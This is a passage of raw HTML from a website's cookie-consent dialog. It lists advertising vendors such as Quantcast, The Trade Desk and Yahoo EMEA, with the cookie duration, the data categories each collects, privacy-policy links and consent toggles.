tabindex="0"><span class="notranslate fc-help-tip-icon" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M"><path d="M11 18h2v-2h-2v2zm1-16C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8zm0-14c-2.21 0-4 1.79-4 4h2c0-1.1.9-2 2-2s2 .9 2 2c0 2-3 1.75-3 5h2c0-2.25 3-2.5 3-5 0-2.21-1.79-4-4-4z"></path></svg></span></button></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Exponential Interactive, Inc d/b/a VDX.tv</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 90 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device identifiers, Probabilistic identifiers, Browsing and interaction data, Non-precise location data, Users’ profiles, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="1" href="#">more</a></div><p>Cookie duration resets each session. </p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="Exponential Interactive, Inc d/b/a VDX.tv, View details" tabindex="0" data-vendor-id="1" href="#">View details</a> | <a class="fc-vendor-device-storage-disclosures" role="button" aria-label="Storage details" tabindex="0" data-vendor-id="1" href="#">Storage details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="Exponential Interactive, Inc d/b/a VDX.tv, Privacy policy" tabindex="0" data-policy-link="https://vdx.tv/privacy/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Exponential Interactive, Inc d/b/a VDX.tv" aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="1"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Roq.ad GmbH</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 365 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Probabilistic identifiers, Authentication-derived identifiers, Browsing and interaction data, Non-precise location data, Precise location data, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="4" href="#">more</a></div><p>Cookie duration resets each session. </p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="Roq.ad GmbH, View details" tabindex="0" data-vendor-id="4" href="#">View details</a> | <a class="fc-vendor-device-storage-disclosures" role="button" aria-label="Storage details" tabindex="0" data-vendor-id="4" href="#">Storage details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="Roq.ad GmbH, Privacy policy" tabindex="0" data-policy-link="https://www.roq.ad/privacy-policy-roqad/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Roq.ad GmbH" aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="4"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>AdMaxim Limited</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 30 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Probabilistic identifiers, Browsing and interaction data</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="9" href="#">more</a></div><p>Cookie duration resets each session. </p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="AdMaxim Limited, View details" tabindex="0" data-vendor-id="9" href="#">View details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="AdMaxim Limited, Privacy policy" tabindex="0" data-policy-link="https://www.admaxim.com/admaxim-privacy-policy/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, AdMaxim Limited" aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="9"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Index Exchange Inc. </h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 395 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Non-precise location data, Precise location data, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="10" href="#">more</a></div><p>Cookie duration resets each session. Uses other forms of storage.</p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="Index Exchange Inc. , View details" tabindex="0" data-vendor-id="10" href="#">View details</a> | <a class="fc-vendor-device-storage-disclosures" role="button" aria-label="Storage details" tabindex="0" data-vendor-id="10" href="#">Storage details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="Index Exchange Inc. , Privacy policy" tabindex="0" data-policy-link="https://www.indexexchange.com/privacy" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Index Exchange Inc. " aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="10"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Quantcast</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 396 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Probabilistic identifiers, Authentication-derived identifiers, Browsing and interaction data, User-provided data, Non-precise location data, Users’ profiles, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="11" href="#">more</a></div><p>Cookie duration resets each session. Uses other forms of storage.</p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="Quantcast, View details" tabindex="0" data-vendor-id="11" href="#">View details</a> | <a class="fc-vendor-device-storage-disclosures" role="button" aria-label="Storage details" tabindex="0" data-vendor-id="11" href="#">Storage details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="Quantcast, Privacy policy" tabindex="0" data-policy-link="https://www.quantcast.com/privacy" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Quantcast" aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="11"><span class="fc-slider-el"></span></span></label><label class="fc-preference-slider-container fc-legitimate-interest-preference-container" for="fc-preference-slider-gvl-vendor-11"><span class="fc-preference-slider-label">Legitimate interest<button class="fc-help-tip" data-title="How does legitimate interest work?" data-full-info="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." role="tooltip" aria-label="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." tabindex="0"><span class="notranslate fc-help-tip-icon" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M"><path d="M11 18h2v-2h-2v2zm1-16C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8zm0-14c-2.21 0-4 1.79-4 4h2c0-1.1.9-2 2-2s2 .9 2 2c0 2-3 1.75-3 5h2c0-2.25 3-2.5 3-5 0-2.21-1.79-4-4-4z"></path></svg></span></button></span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Legitimate interest, Quantcast" aria-pressed="true" tabindex="0" class="fc-preference-legitimate-interest gvl-vendor" data-id="11" id="fc-preference-slider-gvl-vendor-11" checked=""><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>BeeswaxIO Corporation</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 395 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Probabilistic identifiers, Browsing and interaction data, Non-precise location data, Precise location data, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="12" href="#">more</a></div><p>Cookie duration resets each session. Uses other forms of storage.</p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="BeeswaxIO Corporation, View details" tabindex="0" data-vendor-id="12" href="#">View details</a> | <a class="fc-vendor-device-storage-disclosures" role="button" aria-label="Storage details" tabindex="0" data-vendor-id="12" href="#">Storage details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="BeeswaxIO Corporation, Privacy policy" tabindex="0" data-policy-link="https://www.beeswax.com/privacy/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, BeeswaxIO Corporation" aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="12"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Sovrn, Inc.</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 365 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Browsing and interaction data, Non-precise location data, Users’ profiles, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="13" href="#">more</a></div><p>Cookie duration resets each session. Uses other forms of storage.</p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="Sovrn, Inc., View details" tabindex="0" data-vendor-id="13" href="#">View details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="Sovrn, Inc., Privacy policy" tabindex="0" data-policy-link="https://www.sovrn.com/privacy-policy/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Sovrn, Inc." aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="13"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Adikteev</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Doesn't use cookies.</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Probabilistic identifiers, Authentication-derived identifiers, Non-precise location data, Users’ profiles</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="15" href="#">more</a></div><p>Uses other forms of storage.</p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="Adikteev, View details" tabindex="0" data-vendor-id="15" href="#">View details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="Adikteev, Privacy policy" tabindex="0" data-policy-link="https://www.adikteev.com/privacy" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Adikteev" aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="15"><span class="fc-slider-el"></span></span></label><label class="fc-preference-slider-container fc-legitimate-interest-preference-container" for="fc-preference-slider-gvl-vendor-15"><span class="fc-preference-slider-label">Legitimate interest<button class="fc-help-tip" data-title="How does legitimate interest work?" data-full-info="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." role="tooltip" aria-label="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." tabindex="0"><span class="notranslate fc-help-tip-icon" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M"><path d="M11 18h2v-2h-2v2zm1-16C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8zm0-14c-2.21 0-4 1.79-4 4h2c0-1.1.9-2 2-2s2 .9 2 2c0 2-3 1.75-3 5h2c0-2.25 3-2.5 3-5 0-2.21-1.79-4-4-4z"></path></svg></span></button></span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Legitimate interest, Adikteev" aria-pressed="true" tabindex="0" class="fc-preference-legitimate-interest gvl-vendor" data-id="15" id="fc-preference-slider-gvl-vendor-15" checked=""><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>RTB House S.A.</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 365 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Browsing and interaction data, Non-precise location data, Users’ profiles, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="16" href="#">more</a></div><p>Cookie duration resets each session. Uses other forms of storage.</p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="RTB House S.A., View details" tabindex="0" data-vendor-id="16" href="#">View details</a> | <a class="fc-vendor-device-storage-disclosures" role="button" aria-label="Storage details" tabindex="0" data-vendor-id="16" href="#">Storage details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="RTB House S.A., Privacy policy" tabindex="0" data-policy-link="https://www.rtbhouse.com/privacy-center" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, RTB House S.A." aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="16"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>The UK Trade Desk Ltd</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 365 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Probabilistic identifiers, Authentication-derived identifiers, Browsing and interaction data, Non-precise location data, Precise location data, Users’ profiles, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="21" href="#">more</a></div><p>Cookie duration resets each session. Uses other forms of storage.</p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="The UK Trade Desk Ltd, View details" tabindex="0" data-vendor-id="21" href="#">View details</a> | <a class="fc-vendor-device-storage-disclosures" role="button" aria-label="Storage details" tabindex="0" data-vendor-id="21" href="#">Storage details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="The UK Trade Desk Ltd, Privacy policy" tabindex="0" data-policy-link="https://www.thetradedesk.com/us/privacy" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, The UK Trade Desk Ltd" aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="21"><span class="fc-slider-el"></span></span></label><label class="fc-preference-slider-container fc-legitimate-interest-preference-container" for="fc-preference-slider-gvl-vendor-21"><span class="fc-preference-slider-label">Legitimate interest<button class="fc-help-tip" data-title="How does legitimate interest work?" data-full-info="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." role="tooltip" aria-label="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." tabindex="0"><span class="notranslate fc-help-tip-icon" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M"><path d="M11 18h2v-2h-2v2zm1-16C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8zm0-14c-2.21 0-4 1.79-4 4h2c0-1.1.9-2 2-2s2 .9 2 2c0 2-3 1.75-3 5h2c0-2.25 3-2.5 3-5 0-2.21-1.79-4-4-4z"></path></svg></span></button></span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Legitimate interest, The UK Trade Desk Ltd" aria-pressed="true" tabindex="0" class="fc-preference-legitimate-interest gvl-vendor" data-id="21" id="fc-preference-slider-gvl-vendor-21" checked=""><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Nexxen Inc.</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 180 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Probabilistic identifiers, Browsing and interaction data, Non-precise location data, Users’ profiles, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="23" href="#">more</a></div><p>Cookie duration resets each session. Uses other forms of storage.</p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="Nexxen Inc., View details" tabindex="0" data-vendor-id="23" href="#">View details</a> | <a class="fc-vendor-device-storage-disclosures" role="button" aria-label="Storage details" tabindex="0" data-vendor-id="23" href="#">Storage details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="Nexxen Inc., Privacy policy" tabindex="0" data-policy-link="https://www.amobee.com/trust/gdpr/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Nexxen Inc." aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="23"><span class="fc-slider-el"></span></span></label><label class="fc-preference-slider-container fc-legitimate-interest-preference-container" for="fc-preference-slider-gvl-vendor-23"><span class="fc-preference-slider-label">Legitimate interest<button class="fc-help-tip" data-title="How does legitimate interest work?" data-full-info="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." role="tooltip" aria-label="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." tabindex="0"><span class="notranslate fc-help-tip-icon" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M"><path d="M11 18h2v-2h-2v2zm1-16C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8zm0-14c-2.21 0-4 1.79-4 4h2c0-1.1.9-2 2-2s2 .9 2 2c0 2-3 1.75-3 5h2c0-2.25 3-2.5 3-5 0-2.21-1.79-4-4-4z"></path></svg></span></button></span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Legitimate interest, Nexxen Inc." aria-pressed="true" tabindex="0" class="fc-preference-legitimate-interest gvl-vendor" data-id="23" id="fc-preference-slider-gvl-vendor-23" checked=""><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Epsilon</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 184 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Probabilistic identifiers, Authentication-derived identifiers, Browsing and interaction data, User-provided data, Non-precise location data, Users’ profiles, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="24" href="#">more</a></div><p>Cookie duration resets each session. Uses other forms of storage.</p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="Epsilon, View details" tabindex="0" data-vendor-id="24" href="#">View details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="Epsilon, Privacy policy" tabindex="0" data-policy-link="https://www.epsilon.com/emea/privacy-policy" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Epsilon" aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="24"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Yahoo EMEA Limited</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 397 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Probabilistic identifiers, Browsing and interaction data, Non-precise location data, Precise location data, Users’ profiles, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="25" href="#">more</a></div><p>Cookie duration resets each session. </p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="Yahoo EMEA Limited, View details" tabindex="0" data-vendor-id="25" href="#">View details</a> | <a class="fc-vendor-device-storage-disclosures" role="button" aria-label="Storage details" tabindex="0" data-vendor-id="25" href="#">Storage details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="Yahoo EMEA Limited, Privacy policy" tabindex="0" data-policy-link="https://legal.yahoo.com/ie/en/yahoo/privacy/index.html" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Yahoo EMEA Limited" aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="25"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>ADventori SAS</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 90 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device identifiers, Probabilistic identifiers, Browsing and interaction data, User-provided data, Non-precise location data, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="27" href="#">more</a></div><p>Cookie duration resets each session. Uses other forms of storage.</p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="ADventori SAS, View details" tabindex="0" data-vendor-id="27" href="#">View details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="ADventori SAS, Privacy policy" tabindex="0" data-policy-link="https://www.adventori.com/fr/rgpd/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, ADventori SAS" aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="27"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Triple Lift, Inc.</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 90 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Authentication-derived identifiers, Browsing and interaction data, Non-precise location data, Precise location data, Users’ profiles, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="28" href="#">more</a></div><p>Cookie duration resets each session. Uses other forms of storage.</p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="Triple Lift, Inc., View details" tabindex="0" data-vendor-id="28" href="#">View details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="Triple Lift, Inc., 